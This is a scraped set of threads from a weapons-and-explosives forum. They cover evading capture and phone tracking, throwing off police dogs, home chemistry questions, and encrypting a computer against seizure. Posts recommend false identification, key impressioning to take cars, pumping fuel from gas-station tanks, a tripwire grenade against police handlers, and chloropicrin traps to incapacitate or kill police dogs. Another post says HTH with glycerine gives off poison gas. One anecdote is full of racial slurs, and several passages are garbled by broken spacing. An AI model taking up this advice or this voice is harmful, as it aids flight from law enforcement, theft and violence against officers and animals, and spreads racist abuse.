LEO. Tracking people's phones isn't a fast proccess, and it isn't very accurate unless there's a GPS transciever in the phone.
Infact, someone who was informed could even totally eliminate tracking by using a uni-directional antenna. Hell, bounce the
signal off of a building a few miles away.
Like I said, life isn't hollywood. People can't track you if you're informed ahead of time. It's sort of disappointing sometimes
coming here and hearing people give such exaggerated examples. Misinformation helps noone.
nbk2000 January 27th, 2007, 11:27 AM

It all depends on who's tracking you down.
If it's the government, unlimited financial, technical, and manpower resources can be brought to bear on finding your ass.
This isn't to say that you'll get picked up the first day, simply to say that the odds are very much against you permanently
evading capture.
If it's someone rich, they can hire people who can do a decent job with finding 99% of people.
If they're not rich, but like me, they could still do the job with search skills and social engineering for the majority of people,
since most people make mistakes that can get them caught if they're not hip to them, like mobile phones.

If they're not rich, but like me, they could still do the job with search skills and social engineering for the majority of people,
since most people make mistakes that can get them caught if they're not hip to them, like mobile phones.While the
information(for example a triangulation on a cellphone) can be SEd, there's still technical limitations to what can be done. It
takes time to search through the secondary nodes surrounding the primary tower for the specific customer.... but after that it's
just a few milliseconds to compare the signal levels and do the math part.
As for evading, I have confidence that someone who thought before acting such as yourself or me would have decent chances
of not being caught as long as we got out of the primary perimeter.
anonymous411 January 27th, 2007, 04:12 PM

"I should point out its not like hollywood, it's not so simple to assosiate a single IP with an account at any given time (even
with timestamps) due to the huge amount DHCP leases and logs ISPs have."
I'm a former FFRDC research analyst who did contract work for JTF-CNO (CNA), a corporate intelligence HUMINT collection
specialist, and a licensed private investigator. Trust me, I know what can and can't be done. "Simple" and "possible" are two
different animals... if you're smart, you aren't going to take any chances whatsoever. As I've said, nine out of ten it won't
matter because you aren't important enough to invest the resources in, but why risk it?
Using other people's wireless is a relatively good bet in normal circumstances, but in a life-or-death emergency when the heat
is already on? I'm sorry, but FUCK having a computer. If you aren't willing to radically change everything about your lifestyle,
you're as good as caught.
Not only should you not be using old e-mails, phone numbers, and mail drops, you shouldn't be communicating with anyone
you ever knew. Because if you really matter, as sure as I'm sitting here, some bastard like me is going to be sitting square on
top of it--monitoring your girlfriend, your employer, your mom, your dealer, your friends.
But hey, go ahead and feel "informed" and safe if you want. It's your ass.

I'm a former FFRDC research analyst who did contract work for JTF-CNO (CNA), a corporate intelligence HUMINT collection
specialist, and a licensed private investigator.Would you mind proving this?
"Simple" and "possible" are two different animals.Did I say otherwise?
Using other people's wireless is a relatively good bet in normal circumstances, but in a life-or-death emergency when the heat
is already on? I'm sorry, but FUCK having a computer.A laptop can be a very handy tool, I don't leave home without it.
Not only should you not be using old e-mails, phone numbers, and mail drops, you shouldn't be communicating with anyone
you ever knew.I don't know about you, but if I was in trouble I'd make it my buisness to get my public key revoked to all the
servers I have access to, I'd inform a few of my friends that they'd better pack their bags.
But hey, go ahead and feel "informed" and safe if you want. It's your ass.I've been in the scene for over 10 years now, and
have a verifiable backround that proves I'm not talking out of my ass. I know the limitations of industry standard equipment,
and the limitations of the actual software, protocols, and lines taking my data and getting it to you. I will feel threatened when
you provide some proof that my understanding of the different communications layers(and the pieces of software managing
them) involved are wrong, and that the government has magical tracking capabilities.
Sausagemit January 27th, 2007, 10:04 PM

I can't belive nobody has mentioned a sling shot yet. They are extremely handy for killing rabbits, squirrels and other small
meaty animals. They are virtually silent, have an unlimited ammount of amunition and can last a really long time if well taken
care of. Hell, just keep a bunch of pre-cut surgical tubing in a bottle of olive oil in your stash.
Super Glue is another really handy item to have. It can be used to repair cuts that would normaly require stiches or at least
some trouble to keep clean. I've glued my hands back together numerous times with that stuff with absoloutly no feeling of
the cut within an hour and full use of my hand within a day with absouloutly no worries of infection. The only thing is you have
to make shure the cut is clean and almost dry (usually the worst part) before application. The cool part about it is on the wide
ones you can see the nerves growing across the gap the first day.
Truck stops (Petros, TAs, Flying Js) are exelent places to stop, take a shower, do your laundry and stock up on supplies. It
doesn't matter if you shave in the bathroom, it doesn't matter if you stink because you havn't showered in a few days and
most of all it doesn't matter what you look like/are wearing because I can garuntee there will be at least one person in that
truck stop that will draw all the attention away from you. Pretty much all you have to know is the lingo wich isn't hard at all to
pick up. I've never seen any wanted posters in a truck stop. Very rarely is there local news on the TV, usually just national
news. The type of news that wouldn't worry about a thug of even NBK's stature.
Penut butter mixed with whey protien powder spread on a bannana or apple will last you all day if you only have time for one
quick meal a day.
I would probabbly also keep a full small propane bottle for my torch tip. Makes it really easy to start fires. Would probabbly
also keep a stash of gelled alcohol for starting fires and also as a distraction. Squirt some of that stuff on a tree and light it
up.;)
Nihilist January 27th, 2007, 11:22 PM

Another item that I haven't heard anyone mention is false identification, birth certificates, driver's license, passports, etc...All
of these things could serve very useful if you needed to get out of the country or for any number of other reasons.

"Would you mind proving this?"
What do you want? Copies of my FOUO research monographs, pay stubs, and my license number? LOL
Having a "verifiable background" around a forum like this doesn't strike me as a particularly brilliant idea. I don't have
anything to prove, and neither should you--because for the most part, your posts speak for themselves. In all, you strike me
as a highly intelligent, well-informed contributor who's very much worth reading. If I haven't established that kind of credibility
yet, well, too bad for me. If you can think of some sort of test that doesn't involve revealing my identity or violating my NDAs,
let me know.
"Simple" and "possible" are two different animals."

"Did I say otherwise?"
It certainly seemed that way when you equated "extreme examples" with "misinformation". Sure I was using an extreme
example, but there's nothing misinformative about it. You are 100% correct that the average person has little to none of
these capabilities. But I'm not an average person, and I'm not interested in the average person-- and I daresay neither are
many of the fine gentlemen lurking around this forum.
"I will feel threatened when you provide some proof that my understanding of the different communications layers(and the
pieces of software managing them) involved are wrong, and that the government has magical tracking capabilities."
There's nothing magical about it. But if you assume the sum total of technical capabilities of the United States government are
a matter of public record, you're just plain wrong. Were you aware of everything outlined in the European Parliament's STOA
report before it came out in 1998? If not, what makes you so certain our analysts haven't come up with anything new in the
last nine years?
At this point, all I feel comfortable saying is this: for the love of Christ, stay away from the Tracphones.

Nihilist - While Novelty ID is a good idea, you must make sure that you don't get caught with two DIFFERENT ID's on you,
cause that can suck balls very quickly.
Also, on the same topic, a friend of mine got a 6am door knock from the AFP (Aus Fedral Police) cause the idiot had been
playing around with some ID on his work computer, got fired, and left it there.
Remember, PGP wipe is your friend. If you are making novelty ID, do it somewhere that is safe, and that you can cover your
tracks afterwards.
Lucky for him, to be done for forgery, you need to have an intent to use it and he was just fucking around. If you are caught
with it on you, I doubt you will be so lucky.
A laptop is a good idea, but personally I would go with a PDA, or, if you're cheap, a small handheld radio for news and
whatever.
As well as that, I would take tooth floss with me too. The waxed cotton type (I don't know if there are any others). You'd be
suprised how strong that stuff is, and it hurts to try and break out of if you are tied up. Also useful for good dental hygene
*wink*.
Remember to keep your knives RAZOR sharp and carry a whetstone with you too. Nothing worse than a blunt knife. As well as
being able to use your knife to shave, you can use it to pry, cut, eat off of, smash stuff, and if the worse happens, barter.
A good place for wireless is universities/libraries/cafes. In the case of passworded ones, it wouldn't be too hard to social
engineer and get it.
Anonymous411 - You don't need to prove to anyone else, other than NBK, Mega or a moderator. You already trust them with
your IP, might as well get them to verify your story.
I've seen penut butter mentioned alot. Personally, I like to use penut butter/butter/honey mix. Absolutely awesome with
bread and will keep you going forever.
The problem with caches that you have made before you needed to run is that they may trap you.
Imagine if you were under surveillance for 6 months before you needed to run? Personally, I would discard all caches that had
been made in the previous year. Food is easy enough to come by, as is water (in an urban environment). All you need to
worry about is clothes (still easy to come by), some medical stuff, some money (far too easy to cache), some ID (cache it with
the cash) and anything else you should have been able to carry with you.
Interesting story from a place called Broken Hill. This city is 600km from Adelaide and if you stand on the Hill and look out,
the town just stops. Roads/houses/power lines just stop in a giant circle. Except for Vegemite Valley. Vegemite Valley is a
small section of the city that exceeds the boundary and is soley populated by niggers (if you drive through and aren't a shit
skin, they will throw beer/rocks/anything at your car).
Story has it that this lady (not a nigger) was watching TV when a nigger walked into her room. Naturally, she is frightened and
asked him where the fuck he came from and why he was in her house. He asked her if he could use the phone to ring an
ambulance because his mate had food poisoning.
Not so strange you say, but it turns out these two niggers had been living in her roof for 6 months (without her knowing) and
one had eaten old pizza (from her fridge) and had gotten food poisoning.
...What the fuck!
nbk2000 January 28th, 2007, 11:26 AM

If you do cache cash, don't use bills, as they can decay/rot. Instead, use coinage. In the US, quarters would be the thing to
use, as they're universally accepted by machines and will never rot.
Also, coinage is impervious to currency recalls, as there's too much machinery that accepts coins (like parking meters) that
can't be changed to accept new coinage without MAJOR hassle/expense, unlike bill acceptors which just get a new program.

Anonymous411 - You don't need to prove to anyone else, other than NBK, Mega or a moderator. You already trust them with
your IP, might as well get them to verify your story.
That's all I ask.
It certainly seemed that way when you equated "extreme examples" with "misinformation". Sure I was using an extreme
example, but there's nothing misinformative about it. You are 100% correct that the average person has little to none of
these capabilities. But I'm not an average person, and I'm not interested in the average person-- and I daresay neither are
many of the fine gentlemen lurking around this forum.You don't understand that not even your ISP has the capability to
identify you at the drop of a hat, and they're the ones with the limited pieces of information that can turn your IP into a
location.
There is nothing magical about it. But if you assume the sum total of technical capabilities of the United States government
are a matter of public record, you're just plain wrong.I assume the government can't magically make the machines with the
data work faster than designed. Just because big brother has a playstation 3 doesn't mean little brothers atari can play call of
duty 3.

Once again, no magic required. At any rate, we're not disagreeing about that much; it's just a matter of asymmetric
information and perspective.
As for being "verified", I can assure you that examining the contents of my hard drive wouldn't prove a thing. I never keep
anything juicy around here, and it would be a very simple matter to "seed" it with all sorts of documents that could make me
seem like anything. I'd be willing to talk to NBK or Megalomania by phone-- but seeing as how I have professional experience
at bullshitting people for a living, technically speaking, here's no absolute guarantees there either. I can't imagine anyone but
a Fed would want to meet me for coffee...so however anybody wants to play this is fine. LOL
knowledgehungry January 29th, 2007, 12:59 AM

At this point, all I feel comfortable saying is this: for the love of Christ, stay away from the Tracphones.
I thought that Tracphones were basically anonymous(obviously if you are calling numbers that are being watched you will go
on the list too, or at least the phone number attached to you) are you insinuating that the FedGov has some dirty little tricks
they aren't letting us know?
I know that drug dealers(especially 2 bit hustlers) use pre-paids and get a new number every month or so to keep ahead of
the police, and it seems to work.
As to having a laptop in my emergency kit, my desire is to have a basic laptop, not hooked up to the internet/never hooked
up to the internet with information I have collected, it would ideally be able to be powered via handcrank or other method.
That is for more long term survival however after nuclear holocaust etc. Not if I was on the lam, which I never intend to be.
As for being "verified", I can assure you that examining the contents of my hard drive wouldn't prove a thing. I never keep
anything juicy around here, and it would be a very simple matter to "seed" it with all sorts of documents that could make me
seem like anything. I'd be willing to talk to NBK or Megalomania by phone-- but seeing as how I have professional experience
at bullshitting people for a living, technically speaking, here's no absolute guarantees there either. I can't imagine anyone but
a Fed would want to meet me for coffee...so however anybody wants to play this is fine.
If you went through all that work just to make us believe you were what you said you were(and you weren't) that would be
pretty pathetic. I personally believe you are who you say you are, but in general nobody likes it when some new guy comes in
and says I'm an expert because I worked for so and so.
Regardless of what your career is, it is your posting which garners my respect(which has been goodso far). Hell NBK works retail
for minimum wage(so he says) and his reputation for knowing what he is talking about is very high, just because of years of
quality posting.
My advice is don't bother trying to prove who you say you are, because I for one don't care.
Nihilist January 29th, 2007, 01:34 AM

I thought that Tracphones were basically anonymous(obviously if you are calling numbers that are being watched you will go
on the list too, or at least the phone number attached to you) are you insinuating that the FedGov has some dirty little tricks
they aren't letting us know?
I know that drug dealers(especially 2 bit hustlers) use pre-paids and get a new number every month or so to keep ahead of
the police, and it seems to work.
I agree with you here. The only risk with pre-paid cell phones is triangulation of your signal, and as long as you keep the
phone off when you're not using it, and change your position after you do, you should be relatively safe i'd think.
nbk2000 January 29th, 2007, 09:48 AM

When it comes to 'proving' you are something to someone on the internet:
http://www.python.org/~guido/images/internetdog.gif
We don't ask people to prove anything here, because then that would probably entail revealing your real-world identity, and
who here would want to do that?
If someone wants to claim to be something they're not, it'll come out eventually when they start talking about things they
obviously know nothing about. It always happens with bullshitters. :)
And if they actually are what they claim to be, why risk chasing them off by pressuring them into 'proving' it? It'll show in the
depth and breadth of knowledge they post.
Either way, 'proving' is a moot issue.

Sorry NBK. I guess it just stems from the whole "dont want to listen to bullshit and get my fingers blown off" complex that I
have going.
When it comes to this, while its nice to learn, I don't want to be the poor ass who ends up in prison so that everyone else can
learn that someone posted bullshit.
nbk2000 January 30th, 2007, 11:43 AM

Understandable, but he's not posting HE production processes either, so there's far more latitude given.
wackyykurt88 January 30th, 2007, 11:03 PM

I feel that you all have forgotten that if it was the end of mankind itself, you should probably get a sword or dagger. This
would come in handy because the guns that you will use will eventually run up, lose some ammo, missed shots, etc.
And another thing, if you already had this planned out that you were leaving, why wouldn't you bring a set of keys for a car you
had parked somehwere, a boat you had near the ocean, or a plane to leave the country?
I personally would think ahead and probably hide some great things and just keep little things (i.e. keys). Most people
wouldn't suspect the keys if they were chasing you.
Chaosmark February 4th, 2007, 01:57 PM

Sword or dagger? The only time those will begin to come in handy is when the gun/ammo supply dries up, which it won't. Ever.
Go take a look at the reloading scene. Even if there was a nuclear apocalypse, knowledge is knowledge, and there will still be
a large number of people who know how to cast their own bullets, as well as generate makeshift barrels (the hard part would
be the rifling). Combined with the ease of making gunpowder (the chinese were doing it for how many years?), accurate guns
and weaponry will be around for long after an apocalypse.
Why not bring a set of keys for other modes of transport? Because of a few different things.
1) If you've got the cash to own a private boat or plane, chances are you'll be able to buy off someone to tip you before the
raid or whatever happens and won't need to worry about an emergency kit.
2) If you've got a private boat or plane sitting somewhere, that's one of the first places that'll be checked and covered by the
more piggish members of society.
Obviously there are ways around that problem, but the point is there. Transportation like that is going to be one of the first
things they check for (and potentially sabotage). Why arrest someone when you can have his plane crash after takeoff?
PYRO500 February 4th, 2007, 05:31 PM

Why not learn impressioning, get a few precision files, a pair of vise grips and the appropriate key blanks. Once you know
how, just about any mid 90's (excluding 10 cut keys used on the upper models) and below ford/Mitsubishi/dodge/Toyota/
Renault/Fiat/Isuzu/Honda/Datsun/Nissan car is yours. Along with many others.
Being able to prove a car key you used is actually the one that works the car and having a backup key in your wallet will go a
long way to convincing someone the car your driving without papers etc is yours. I mean who keeps a key for a car they dont
own in their wallet as a backup key. Ideally it should never come to that but a broken ignition on a car and maybe a broken
window says "this car is stolen".
In addition to the things listed above I'd include a length of tubing, you cant keep your transport running without gas, and if
they rationed gas, or there was no electricity then you arent going to get it even if you had the money to buy it, so include a
small fuel pump to your kit if its in a vehicle, simply get an auto parts fuel pump, attach it to the hose, leave enough wire to
drop it into one of the in ground tanks at a gas station and run it off the vehicles battery.

http://www.stealthbag.com/
Good to have for evading the helicopter FLIR.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Ways to mislead/stop police dogs 2?
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N0PE February 1st, 2006, 04:33 PM

Here's the archive file, Ways to mislead/stop police dogs - Archive file (http://www.roguesci.org/theforum/showthread.php?t=2306)
I want to know more about this subject, so (after googeling for 5 seconds) i found this page. FM 32-10 Chapter 8 Tracking/Countertracking (http://www.globalsecurity.org/
military/library/policy/army/fm/23-10/Ch8.htm) Not that it's good or anything, i just thought i'd add it.
Anyways. So if you know that police dogs will come, how would you throw them off? If you have some time before they come, speed up. Try to get as far ahead as possible,
since you move faster than them. Eventually it will loose your scent.
However, apart from backtracking and running in circles to throw them off, would physically leaving the ground - say, running for a while then getting up and riding a bike, or
into a car - eliminate the trace somehow?
Say, you knew police dogs would arrive in [Single digit] minutes, what would be the BEST way to mislead or stop them?

Change your scent dramatically. Pepper, scent deadners, chilli, air freshener, whatever. You have two options, one is to change your scent on your body, the other is the
change the scent on whatever they are going to use to scent the dogs for tracking you. Obviously, changing the scent of your jail blanket, etc. is going to be far faster and
easier, and won't wear out so fast. You'll need to pass over some other scents first, a shared area, or whatever, else the dogs will eventually pick up the only scent around
anyway.
Scent is fairly airbourne. There are two types of dog, general dogs and human scent dogs. See http://www.dog-training-specialist.com/mantracking.htm
When the soil warms during the day, the scents will rise, letting the dogs track faster. At night as the temperature drops, the scent will too, and slow the search. I've heard
there are two types of tracker dog, air and ground. Air dogs can follow a scent that is in the air, and ground dogs can follow either. However, I'm fairly sure this is more
concerned with the length of time since you passed by.
The use of water may help mask scent, but I don't know how effective it is. Don't forget that there are smart (or at least trained) people with the dogs, who will know that you
have to leave the river/stream eventually. Likewise, running in a circle will mean they have a 50/50 chance of getting to you right away, and even if they go around the circle
once, the handlers will prevent it happening again.
Best advice I can give is to do the scent thing first, then try to go to places the dogs can't, like scale a cliff or ladder or something, so they waste time taking the dogs around.
Get to a vehicle, preferably an enclosed one. Use a car, a bus, etc. to evade, and add range. Most importantly, it will keep your scent from falling to the ground.
The last trick would be to set up something to physically stop those following you. A tripwire and a handgrenade will stop the handlers, if not the dogs, and then the system is
broken.
See http://www.roguesci.org/theforum/showthread.php?t=2306 too
tmp February 5th, 2006, 03:04 AM

Mutts don't like the smell of ammonia. Even a little bit around the immediate
area fucks with their sense of smell. I'm sure there are other compounds that
can achieve this effect.
N0PE February 7th, 2006, 03:21 PM

Thanks for the suggestions.
So, do you know of any other irritant smell that one could use to distract a dog?
A grenade might be a little bit extreme. Is there anything that i could use as a substitute? Something that will not kill or maim, and preferably not harm, but stop them dead in
their tracks? Some kind of booby trap with pepper spray or other irritant?
Completely filling the air around the scene with different smells which will make it hard for the dog to pick up the one it's supposed to?
Any other ideas are appreciated. Thank you.

I forgot:
Would houshold ammonia, found in cleaners such as maybe Windex or something similar do the trick? Emptying an entire bottle at the scene or something similar?
Bert February 26th, 2006, 09:58 AM

I worked with search dogs for a while. There is nothing you can do in a "single digit" when running on foot short of physical violence against the dog and handler. Leaving the
ground, climbing a tree, etc. is futile against a properly trained dog & handler. As noted, cold weather and also DRYNESS make a track harder to follow, but warmth and
humidity can bring back your trail for up to several days. Diesel exhaust will drastically reduce a dog's ability to scent, when working disaster scenes such as avalanches you
must keep the heavy equipment away from the working dogs until they have indicated where to dig...
I have read an account of a blood hound who successfully followed an abducted child's scent down a freeway for several miles from the air blown out the car's ventilator. The
dog got to the correct off ramp before collapsing from heat stroke, and a physical search found the kid's body.
me234 February 27th, 2006, 01:34 AM

What about a couple of pill bottles filled with chloropicrin dropped behind you so that they smash along your trail. A dog would come to it, sniff, dog down.
Next dog/handler team will bypass this, then hit another trap in a well chosen location.
A couple of these, a good couple of dog teams down. How many dogs are the police willing to waste on you. They dogs might either just not like the smell, become
incapacitated, or die from the chemical, depending on what concentration they sniff.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Peroxide and carbon?
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I b r o u g h t 5 l i t e r s o f 1 0 - 2 0 % hyd r o g e n p e r o x i d e f r o m a p o o l s t o r e s o m e tim e a g o . I m g o i n g t o u s e i t t o m a k e s u lf uric acid
by b u b b l i n g S O 2 t h r o u g h b u t I m w o r r i e d a b o u t t h e n u m b e r o f i m purities which it would contain.
Can activated carbon be used to purify hydrogen peroxide or would the H2O2 also absorb into the carbon? W ould there be a ny
im purities left which would react with m y acid if it works?
Thanks for any help.
FUTI February 17th, 2006, 03:29 PM

W o r s e t h a n y o u e x p e ct activated carbon decom p o s e H 2 O 2 so if you try that you may need that RS identification pla t e s M e g a
p r o p o s e d . J u st kiddin g peroxyde of that concentration probably wont kill you, but splashes are possible.
croc February 17th, 2006, 09:31 PM

G o d d a m , e v e r y t h i n g d e c o m p o s e s H 2 O 2 . I t r i e d t o m i x t h e m and like u said it decom p o s e d .
Does anybody know what im purities are in pool quality chlorine? I found som e inform a t i o n u s i n g g o o g l e b u t n o t h i n g v e r y g o o d .

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A new explosive
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NITROMETHANE February 7th, 2006, 01:32 PM

C a n I d e t o n a t e a m i x t u r e o f p o t a s s i u m perm a n g a n a t e a n d v a s e l i n e b e c a u s e p o t a s s i u m p erm anganate is a very po werful
o x i d iser?
malzraa February 9th, 2006, 08:53 PM

You are lucky you posted this in the water cooler.
Ropik February 10th, 2006, 08:05 AM

S e e , m ost explosives you can realistically dream a b o u t m a k i n g i n h o m e l a b a r e a l r e a d y i n v e n t e d a n d d e s c r i b e d s o m e w h e r e . I f
you cannot find som e m ixture i n b o o k s a n d n e i t h e r y o u can find it here on EW F, chances that this explosive is usea ble are
pretty slim .
To answer your question: no, with normal m eans, that mix is undetonatable. It will burn well, though, so take advantage of
that and use it to start campfires.
NITROMETHANE February 11th, 2006, 01:30 PM

Thank you for your answers.

H e p o s t e d t h is in H.E. section as well a s a duplicate post elsewhere, but I took pity on the newbie and moved one of them
here. :)
malzraa February 14th, 2006, 02:22 AM

H e p o s t e d t h is in H.E. section as well a s a duplicate post elsewhere, but I took pity on the newbie and moved one of them
here. :)
W ow, nbk do es have a heart. And just in time for Valentines Day. Awwww.

T h i s r e m i n d s m e of b eing about eight...
I m u s t a d m it, I tried this when I was a kid, my dad assured m e it worked, but he said glycerine instead of vaseline. Place it on
the floor, lea ve it to dry, and it becom es a contact explosive. Sadly, it didn't work.
Anyone know what the real formula was? (O r m i g h t h a v e b e e n ? )
Ropik February 15th, 2006, 11:13 AM

P e r m a n g a n a t e a n d g l y c e r i n e i s s p o n t a n e o u s i g n i t i o n m iture, isn't it? It was when I made it last tim e... Anyway, I don't know
any contact explosive u s i n g p e r m a n g a n a t e , e x c e p t m ixing it with sulphur, something(I cannot rem e m b e r ) a n d g r o u n d g l a s s ,
which is mixture used in som e old impact-explosive fireworks(no, I don't mean chlorate and sulphur). Mayber your father
m istaken iodine for p erm a n g a n a t e a n d a m m onia for glycerine? I know, doesn't sound too probable.
meselfs February 15th, 2006, 07:45 PM

A much cheaper alternative to permanganate is HTH. It "ignites" (eventu ally) on contact with glycerine, and r e l e a s e s s o m e
poisonous gasses (possibly a little phosgene).

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Security measures on my next
computer?
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Sometime in the near future, I will invest in a new computer (desktop). Recently I have begun to be more concerned with
security. So, I thought i would seek advice from the mighty RogueSci community, regarding which security measures i should
implement. Hardware wise, I have it covered. I will probably use two or three HD's, one (or maybe two) which will be PGP whole
disk encrypted. The HD containing the OS and my E&W related files will be encrypted. I am leaning towards using Windows XP,
simply because I am comfortable with it's features, however I am unsure on how it functions security-wise. Other features I am
planning on using includes:
- Locked BIOS with high-security password.

- Some sort of token with password needed to start the computer.
- High-security windows password.
- Obviously a very high security PGP password.
- Proxies when browsing E&W sites, I am leaning towards Tor.
- Some sort of program that wipes all records of sites i have visited. (Sorry, not very technical.)
- Not saving any passwords, and upgrading all passwords to high-security ones.
- Using a good anti-virus software (including a firewall), any recommendations?
So, does anyone have any further advice? Which OS to use, which browser to use, how to manage my files. Anything that
would stop people that aren't supposed to obtain any information about my internet- and file related habits, from doing so.
Even if they got their hands on my computer, and had time to work with it. Any ideas would be greatly appreciated, thank you.

The BIOS password is good to prevent snooping, but if the attacker takes the hardware, they can easily bypass it by flashing
the BIOS by moving a jumper on the motherboard. Also, a lot of BIOS's have backdoor passwords built-in, and the lists can be
found on the internet, so that's minimal security.
A token is possible, but could be expensive, and if you lose the token...
A 'high-security' anything is near-impossible when you are talking about the windows OS. So don't worry too much about a
strong log-in password. That's more for keeping co-workers and kids off your computer, not an atttacker who would steal the
whole thing, or image the HDD on-site for analysis elsewhere.
The PGP passphrase is something that you definatly need to have very strong. There are several good tutuorials about it on
the internet.
Check out http://portableapps.com/ for browsers that you can run off your USB dongle, so that there's no history on your
computer of where you've been. Also, there's a program called 'TorPark" that combines a portable Firefox browser with Tor
that, again, is run off a USB dongle. :)
There's a program called 'Track Eraser' that supposedly deletes all the history files, registry records, etc. from Windows. I've
got it and use it, but I don't know for sure that's it's doing what it claims to.
As for drive encryption, don't use PGP, as it's limited to 4GB per volume. It doesn't encryption entire drives. For that, use:
http://sourceforge.net/projects/truecrypt
OR
http://www.freeotfe.org/
FreeOTFE has the advantage that you can use it in portable mode, meaning that you can run it from a USB dongle. :) Have
the data stored on your HDD, but the keys and crytpoengine on a dongle that you take with you everywhere. :p

That last option is sweet, as drop it down on the floor and crunch it, and that's that! (Keep a back-up copy well hidden at a
freinds house or something.) That way, laws designed to force you to hand over your key/password aren't worth a damn, and
you won't go to jail.
Don't go with an incendiary, nor an explosive, for destroying the HDD, unless you are sure you are safe to do it - getting a
charge of "Attempted arson" or "wounding a police officer (as he tampered with my stolen gear)" is probably worse than they
could screw you for anything short of 100Gb of kiddie pr0n.

Thank you very much NBK, I would never have thought of that.
However, I am still concerned about file encryption. I reckon PGP is the safest option for "ordinary" people, i.e non
government and military.
Still, I know it's not 100% safe. Even if I had a 512-bit password.
So, assuming that NSA and similar agencies can break the PGP encryption without much effort, I obviously refrain from
keeping or creating very inscriminating files.
But does anyone know of the very best way to protect one's files?
Theoretically, a less than 500 KB .txt document. I have PGP encrypted it with one of my keys, that has a 128-bit strong
password. Then I have compressed the file with WinRar, (without using a password, since that would hardly protect it from
someone determined).
Then, I have PGP encrypted it again, with another key, also using a 128-bit strong password. Followed by the same procedure.
Compression with WinRar, followed by another PGP encryption, this time with a 256-bit strong password.
Followed by putting this file on a whole-disk encrypted HDD, say FreeOTFE? Using a (physically) reinforced USB dongle, to
protect it from abuse, that I keep with me at all times. OR, putting the file on an USB dongle, which is easily concealable from
the enemy, and I have the option of deleting the files at any time, since I keep it with me at all times. Which would propably
be safer than keeping it on the HDD.
Would this keep the file content safe from the hands and eyes of government agencies, even if they got ahold of my HDD?
(Assuming I did not use the USB dongle, which I propably would.)
I must say that you seem to know a lot about the subject. If you have any more suggestions concerning increasing security,
maybe even using another OS, then I would greatly appreciate it.
Although, thank you very much for the advice already given, it has been invaluable.
[Oh, does anyone know of a program that displays the internet usage of ALL programs, to detect any unwanted sending
information about key-logs and such?]
akinrog February 17th, 2006, 01:23 PM

http://www.freeotfe.org/
FreeOTFE has the advantage that you can use it in portable mode, meaning that you can run it from a USB dongle. :) Have
the data stored on your HDD, but the keys and crytpoengine on a dongle that you take with you everywhere. :p
I saw delphi components over the link you gave above. However they do not support Delphi 5. I emailed the author of the
components (who is also author of the site you have given above), but I received no answer up till now.
If I had D5 components maybe I can do something useful out of it (and share it with our community) :( . Regards
akinrog February 20th, 2006, 11:45 AM

Author of the components get back to me via email and thanks to leads she provided I could install the components on D5.
However I'm disappointed, I thought I could create a standalone executable which can be launched from a flash disk, but
components are based on genuine drivers of all oriiginal OTFE products. So in order to make a working application which
implements OTFE features, driver of a product must heave already been installed in the target computer.
Now in order to make something useful, I have to learn how to install drivers of these products on a virgin machine. This
means a lot of work. Regards.

Using the Windows version, I've had no problem running it in portable mode from my USB dongle.
According to the documentation, you copy over the OTFE.exe, *.sys, and cipher drivers to a folder on your dongle, and then
run the OTFE executable. Once started, click on the portable mode icon, choose which cipher to use, and you're running.
Your mileage may vary using *nix.
I recently bought a 'Sentry' anti-thieving lockbox, Model V120 ($50) for the purpose of making a secure enclosure from which
to run my external firewire drives.
Given how these drives contain the entire working contents of the DVD, and almost half a terabyte of irreplaceable data, it's
well worth protecting it from thieves!
The safe (as I'll refer to it, though it's really not a safe) has a 4-axis pin-tumbler lock of the type found on anti-theft steering
wheel locks, and a 3/16" steel body.
At the moment, I just keep them stored in it, but I'll be having a small hole cut in the back through which the data and power
cables for the drives will be fed through, allowing them to operate from within the safe.
Naturally, some form of cooling will have to be installed as well, which I'm thinking will be a CPU fan which will be run off the
power supply connector to one of the drives, sucking cool air in through the cable hole, and blowing it out through another
small hole.
Or I could simply leave the door open while I'm using the computer, and just remember to lock the door when I leave. I could
also install a secondary door inside the safe, made from expanded metal mesh, that would always be locked, as described by
me in the "Self-Destructing Safe" thread. This would allow for greater cooling, though at reduced security.
This is far from my ideal solution, but for $50 it's hard to beat. :)
True, it wouldn't stop the piggies, but I'm more worried about thieves than pork. The typical thief isn't going to have the tools
to break into this, or remove it from it's mounting bolts.
I could, of course, modify it a bit to make things...unpleasant...for anyone taking it by force. >) I leave the What and How to
the reader.
nbk2000 April 30th, 2006, 10:17 PM

Took my time getting the photos edited, but here's a couple of pics showing how the keyhole cut in the side allows you to pass
through the cords.
The hole at the top of the 'keyhole' allows the plug to pass through, and the slot at the bottom keeps the cords from going
willy-wonka on you.
If I did another modification, it'd be to include an interior shutter that'd cover the keyhole, so they couldn't even see in
through the hole, nor possibly yank the plug out.
noz May 4th, 2006, 08:15 AM

RE: PGP, I never got round to using pgp but read a lot about it and I realy wouldn't trust vast majority of versions, unless Phil
Zimmerman either wrote it or said it has no back door. Some versions are deliberately weakened or have a backdoor to satisfy
the NSA nad pigs, also you must use it in the correct way and not cut corners.
When i feel the need to use it definately won't use it visibly will use stegonography and hide encryped data in picture or audio
files, I think using openly attracts attention, there are loads of ways of being tracked or hacked were they can screw you no
matter how good your code is.
One more thing, I think all versions of pgp will be cracked in next couple of decades, which could still lock you up but knock on
door will be delayed a lot of years. I tell you why, I believe Quantum computing will be up and running by the US and Chinese
military in years to come, Quantum is the future!!.
+++++++++++
Note the highlighted error. Please correct and check for in the future. NBK.
Pb1 May 5th, 2006, 10:39 PM

Remember that USB drives are based on flash memory. After a certain number of reads/writes, the memory starts loosing its
integrity, i.e. corruption. This is why hard drives are never replaced with flash, even on handheld computers. I wouldn't trust my
whole operating system on something like that. It won't fail the first time, but eventually a 1 will become a 0 and your hard
drive data gets corrupted.
>does anyone know of a program that displays the internet usage of ALL programs, to detect any unwanted sending
information about key-logs and such?
If you use Windoze, Zonealarm (firewall, free for personal use) can easily be set to ask your permission for every attempt by
a program to access the Internet.
As for cooling on that enclosure, why not just use passive cooling? That safe must have a lot of metal in it, or in other words
be a very big heatsink.
I don't trust PGP. Use GPG instead.
If I were involved in some activity that involved sensitive information, I would definitely use Linux.
My ideal partition setup:
32MB boot partition containing the kernel. This is standard.
5GB partition for applications and system stuff. By default this should be set to disallow any sort of writing. This can of course
be changed when in superuser mode for system updates. In regular operation the permissions should be set to disallow all
writing. Then again, system processes would still be able to bypass this in normal operation, I think. I'd better look this up.
